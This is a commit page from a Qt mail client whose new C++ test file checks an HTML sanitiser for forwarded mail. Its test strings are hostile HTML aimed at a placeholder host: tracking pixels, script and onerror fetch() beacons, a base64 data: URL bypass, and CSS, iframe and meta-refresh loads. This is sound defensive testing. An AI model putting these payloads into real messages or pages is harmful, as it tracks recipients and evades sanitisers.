diff options
| author | Danilo M. <danix@danix.xyz> | 2026-08-27 13:05:17 +0200 |
|---|---|---|
| committer | Danilo M. <danix@danix.xyz> | 2026-08-27 13:05:17 +0200 |
| commit | 5570d0e7495a42a90acf951d396c9185b0319eb9 (patch) | |
| tree | 4052c9060b6ade33577c9bcb285565a1477bd3eb /tests/test_htmlsanitiser.cpp | |
| parent | 12e841b8e2c4c225ea79de87dc7bb50f0404ee69 (diff) | |
| download | qtmaildir-5570d0e7495a42a90acf951d396c9185b0319eb9.tar.gz qtmaildir-5570d0e7495a42a90acf951d396c9185b0319eb9.zip | |
Item 171. A forward carried only the plain-text version of the original,
so formatting was lost; and an original with no plain-text part at all
(30 of 342 sampled inbox messages, ~9%) forwarded as an empty quote with
its content silently gone.
A forward now sends ONE part chosen by the Send-as-HTML toggle: the
original's markup when on, the text quote when off. Not a
multipart/alternative, at the user's decision: a forward's shape is
already decided by that toggle, and sending both hands the choice to the
recipient's client. The toggle is honoured even for an HTML-only
original, which then forwards as a text fallback.
HtmlSanitiser strips remote content from the forwarded markup, checked
by default with a per-forward opt-out. This is the security-critical
part: the markup leaves this process and is rendered by the recipient's
client, where none of MessageView's protections apply, so forwarding a
tracking pixel forwards the tracking. It is an ALLOW-LIST, unlike
HtmlBuilder::namespaceCids(), because a missed rewrite is a broken image
while a missed strip is a beacon reaching the recipient.
An HTML forward does not seed a text quote into the editor. The first
build did, then subtracted it when building the HTML part, so the user
could edit a quote whose edits were discarded; what the composer shows
must be what gets sent. The forwarded message appears in a read-only
pane beside the editor instead, a QSplitter at 60/40 with a toggle in
the Format menu. A plain forward is unchanged.
ComposeContextBuilder::quoteBody() renders htmlBody down to text when
there is no plain part, so the plain path never emits an empty quote.
Design in docs/superpowers/specs/2026-08-27-forward-html-design.md.
Two tests repaired for the splitter: the 60/40 assertion reads stretch
factors rather than pixels, since the offscreen platform gives the
splitter no width and reports 49/49 whatever the code asks; and
theComposerSplitsItsToolbarByScope looked for the body directly in the
composer's column.
Not yet hand-tested in this arrangement.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AtUzfNjMD8fiYfamDd3ywW
Diffstat (limited to 'tests/test_htmlsanitiser.cpp')
| -rw-r--r-- | tests/test_htmlsanitiser.cpp | 249 |
1 files changed, 249 insertions, 0 deletions
diff --git a/tests/test_htmlsanitiser.cpp b/tests/test_htmlsanitiser.cpp new file mode 100644 index 0000000..043891b --- /dev/null +++ b/tests/test_htmlsanitiser.cpp @@ -0,0 +1,249 @@ +/* + * qtmaildir - a Qt6 mail client for notmuch-indexed Maildirs + * Copyright (C) 2026 Danilo M. <danix@danix.xyz> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include <QtTest> +#include <QRegularExpression> + +#include "htmlsanitiser.h" + +/// Item 171's security half. +/// +/// Every test here asserts on the STRING, never on a render. A rendering probe +/// cannot see this defect by construction: a tracking pixel is a 1x1 +/// transparent image, invisible by design, so a probe that renders the output +/// and looks at it would endorse the exact thing being guarded against. +class TestHtmlSanitiser : public QObject +{ + Q_OBJECT + +private slots: + void aCidReferenceSurvives(); + void aRemoteImageIsRemoved(); + void anUnquotedRemoteUrlIsRemoved(); + void aProtocolRelativeUrlIsRemoved(); + void quotingAndCaseAndWhitespaceDoNotHelp(); + void aFetchingElementIsRemovedWhole(); + void cssUrlIsStrippedInBothPlaces(); + void anEventHandlerIsRemoved(); + void aDataUrlIsRemoved(); + void anUnknownAttributeCarryingAUrlIsRemoved(); + void aCidWhoseIdLooksLikeAUrlSurvives(); + void structuralMarkupSurvives(); + void hasRemoteContentAnswersForTheComposer(); + +private: + /// The invariant, applied to a whole output: no scheme but cid: anywhere. + /// + /// Deliberately crude and deliberately independent of the implementation's + /// own patterns. A test that reused the production regexes would agree + /// with a bug rather than catch it. + void assertNoRemoteUrls(const QString &out); +}; + +void TestHtmlSanitiser::assertNoRemoteUrls(const QString &out) +{ + const QString lowered = out.toLower(); + for (const char *needle : { "http:", "https:", "//evil", "//host", + "data:", "file:", "ftp:" }) { + QVERIFY2(!lowered.contains(QLatin1String(needle)), + qPrintable(QStringLiteral("a %1 reference survived: %2") + .arg(QLatin1String(needle), out))); + } +} + +/// The one thing that must NOT be stripped. A cid: travels inside the message +/// and fetches nothing, so an inline logo survives a forward. +void TestHtmlSanitiser::aCidReferenceSurvives() +{ + const QString out = HtmlSanitiser::stripRemoteContent( + QStringLiteral("<p>hi</p><img src=\"cid:logo@example.org\">")); + + QVERIFY2(out.contains(QStringLiteral("cid:logo@example.org")), + qPrintable(QStringLiteral("the cid was lost: ") + out)); + QVERIFY2(out.contains(QStringLiteral("<p>hi</p>")), + qPrintable(QStringLiteral("the body was lost: ") + out)); +} + +/// The reported harm, in its plainest form. +void TestHtmlSanitiser::aRemoteImageIsRemoved() +{ + const QString out = HtmlSanitiser::stripRemoteContent( + QStringLiteral("<p>hi</p><img src=\"https://evil.example/px?id=you\" " + "width=\"1\" height=\"1\">")); + + assertNoRemoteUrls(out); + QVERIFY2(out.contains(QStringLiteral("<p>hi</p>")), + qPrintable(QStringLiteral("the body was lost: ") + out)); +} + +/// `<img src=cid:x>` is valid HTML and unquoted references are seen in the +/// wild; namespaceCids() documents the same. An implementation that only +/// handles quoted values passes every tidy test and leaks on real mail. +void TestHtmlSanitiser::anUnquotedRemoteUrlIsRemoved() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img src=https://evil.example/px>"))); +} + +/// No scheme at all, and it still fetches: the recipient's client supplies +/// whichever scheme it rendered the message under. A check for "http" misses +/// this entirely. +void TestHtmlSanitiser::aProtocolRelativeUrlIsRemoved() +{ + const QString out = HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img src=\"//evil.example/px\">")); + + QVERIFY2(!out.contains(QStringLiteral("//evil.example")), + qPrintable(QStringLiteral("a protocol-relative URL survived: ") + + out)); +} + +/// Uppercase tags, single quotes, and newlines around '=' are all real. Each +/// one alone defeats a naive pattern. +void TestHtmlSanitiser::quotingAndCaseAndWhitespaceDoNotHelp() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent( + QStringLiteral("<IMG SRC = 'https://evil.example/a'>"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img\n src\n =\n \"https://evil.example/b\">"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img SrC=\"HTTPS://EVIL.EXAMPLE/c\">"))); +} + +/// These elements exist to fetch or redirect. Emptying the attribute is not +/// enough for <script>, whose CONTENT is the payload. +void TestHtmlSanitiser::aFetchingElementIsRemovedWhole() +{ + const QString out = HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<p>keep</p>" + "<link rel=\"stylesheet\" href=\"https://evil.example/s.css\">" + "<script>fetch('https://evil.example/beacon')</script>" + "<iframe src=\"https://evil.example/f\"></iframe>" + "<base href=\"https://evil.example/\">" + "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.example/\">")); + + assertNoRemoteUrls(out); + QVERIFY2(!out.toLower().contains(QStringLiteral("<script")), + qPrintable(QStringLiteral("a script element survived: ") + out)); + QVERIFY2(!out.toLower().contains(QStringLiteral("<iframe")), + qPrintable(QStringLiteral("an iframe survived: ") + out)); + QVERIFY2(out.contains(QStringLiteral("<p>keep</p>")), + qPrintable(QStringLiteral("the body was lost: ") + out)); +} + +/// CSS fetches too, and it reaches the same network from two different places +/// with different terminator rules. namespaceCids() handles both for the same +/// reason. +void TestHtmlSanitiser::cssUrlIsStrippedInBothPlaces() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<div style=\"background:url(https://evil.example/bg.png)\">x</div>"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<style>@import url('https://evil.example/s.css');" + "p{background:url(https://evil.example/b.png)}</style>"))); + + // The bare form terminates on ')', not on a quote. + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<div style='background:url(//evil.example/bg.png)'>x</div>"))); +} + +/// The recipient's client most likely disables scripting. That is their +/// policy, not ours to assume on their behalf. +void TestHtmlSanitiser::anEventHandlerIsRemoved() +{ + const QString out = HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<img src=\"cid:x\" onerror=\"fetch('https://evil.example/b')\">")); + + assertNoRemoteUrls(out); + QVERIFY2(!out.toLower().contains(QStringLiteral("onerror")), + qPrintable(QStringLiteral("an event handler survived: ") + out)); +} + +/// A data: URL carries its payload inline, so it does not fetch, but it CAN +/// carry markup and is a standard sanitiser bypass. Removed on the allow-list +/// rule: it is not cid:, so it goes. +void TestHtmlSanitiser::aDataUrlIsRemoved() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<img src=\"data:text/html;base64,PHNjcmlwdD4=\">"))); +} + +/// **The allow-list's whole point.** `namespaceCids()` enumerates the +/// attributes it rewrites and scopes srcset out; doing that here would leak. +/// An attribute nobody anticipated must be handled by the DEFAULT. +void TestHtmlSanitiser::anUnknownAttributeCarryingAUrlIsRemoved() +{ + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<img srcset=\"https://evil.example/1x.png 1x, " + "https://evil.example/2x.png 2x\">"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<div data-bg=\"https://evil.example/x.png\">x</div>"))); + + assertNoRemoteUrls(HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<video poster=\"https://evil.example/p.jpg\"></video>"))); +} + +/// A cid: id may legitimately contain something URL-shaped. Stripping on a +/// substring match rather than on the SCHEME would destroy a valid reference. +void TestHtmlSanitiser::aCidWhoseIdLooksLikeAUrlSurvives() +{ + const QString out = HtmlSanitiser::stripRemoteContent( + QStringLiteral("<img src=\"cid:https-logo@example.org\">")); + + QVERIFY2(out.contains(QStringLiteral("cid:https-logo@example.org")), + qPrintable(QStringLiteral("a valid cid was destroyed: ") + out)); +} + +/// The formatting is the entire point of the feature. A sanitiser that keeps +/// the user safe by emptying the message has not solved item 171. +void TestHtmlSanitiser::structuralMarkupSurvives() +{ + const QString out = HtmlSanitiser::stripRemoteContent(QStringLiteral( + "<table><tr><td style=\"color:#c00;font-weight:bold\">Revenue</td>" + "<td>up 12%</td></tr></table><ul><li>Region A</li></ul>")); + + QVERIFY2(out.contains(QStringLiteral("<table")), + qPrintable(QStringLiteral("the table was lost: ") + out)); + QVERIFY2(out.contains(QStringLiteral("Revenue")), + qPrintable(QStringLiteral("the text was lost: ") + out)); + QVERIFY2(out.contains(QStringLiteral("font-weight:bold")), + qPrintable(QStringLiteral("safe styling was lost: ") + out)); + QVERIFY2(out.contains(QStringLiteral("<li>Region A</li>")), + qPrintable(QStringLiteral("the list was lost: ") + out)); +} + +/// Drives whether the composer offers the checkbox at all. It must never +/// decide whether to strip. +void TestHtmlSanitiser::hasRemoteContentAnswersForTheComposer() +{ + QVERIFY(HtmlSanitiser::hasRemoteContent( + QStringLiteral("<img src=\"https://evil.example/px\">"))); + QVERIFY(HtmlSanitiser::hasRemoteContent( + QStringLiteral("<div style=\"background:url(//evil.example/b)\">x</div>"))); + + QVERIFY(!HtmlSanitiser::hasRemoteContent( + QStringLiteral("<p>plain</p><img src=\"cid:logo@example.org\">"))); + QVERIFY(!HtmlSanitiser::hasRemoteContent(QStringLiteral("<p>plain</p>"))); +} + +QTEST_MAIN(TestHtmlSanitiser) +#include "test_htmlsanitiser.moc" |
